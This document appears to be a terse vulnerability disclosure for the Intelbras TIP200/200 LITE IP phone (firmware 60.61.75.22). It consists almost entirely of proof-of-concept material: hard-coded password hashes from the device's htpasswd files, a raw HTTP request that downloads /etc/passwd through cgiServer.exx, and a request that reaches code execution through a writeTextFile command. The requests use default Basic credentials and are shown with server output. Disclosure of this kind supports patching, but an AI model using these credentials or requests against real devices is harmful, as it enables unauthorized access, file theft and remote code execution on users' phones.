https://www.intelbras.com/pt-br/ajuda-download/download/terminal-ip-tip-200-lite

https://backend.intelbras.com/sites/default/files/integration/60.61.75.22.zip

iso version 60.61.75.22

TELEFONE IP TIP200/200 LITE

POC 1、Hard coding

```
factory/.htpasswd

user:s7C9Cx.rLsWFA
admin:uoCbM.VEiKQto
var:jhl3iZAe./qXM

data/htpasswd

admin:1U/4BN3Z1tgDM
user:1U/4BN3Z1tgDM
```

POC 2、Download any file

```
GET /cgi-bin/cgiServer.exx?download=/etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3849.0 Safari/537.36
Accept: */*
Referer: http://xx.xx.xx.xx/cgi-bin/cgiServer.exx?page=Phone-Preference.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
remote_addr: 154.91.1.210
Cookie: __utma=155145144.297897992.1596702813.1596702813.1614070409.2; __utmc=155145144; __utmz=155145144.1614070409.2.1.utmcsr=
(direct)|utmccn=(direct)|utmcmd=(none); __utmb=155145144.31.9.1614075605123
Connection: close
```

```
HTTP/1.0 200 OK
Content-Type:application/octet-stream
Content-Disposition:attachment; filename="passwd"
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone

root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh
```

POC3、Code execution

```
GET /cgi-bin/cgiServer.exx?command=writeTextFile(%22/tmp/success.txt%22,%22%22)&sid=0.21719647863281333 HTTP/1.1
Host: xx.xx.xx.xx
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3849.0 Safari/537.36
Accept: */*
Referer: http://xx.xx.xx.xx/cgi-bin/cgiServer.exx?page=Status.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
remote_addr: 154.91.1.210
Cookie: __utma=155145144.297897992.1596702813.1596702813.1614070409.2; __utmc=155145144; __utmz=155145144.1614070409.2.1.utmcsr=
(direct)|utmccn=(direct)|utmcmd=(none); __utmb=155145144.2.9.1614070449605
```

```
Connection: close
```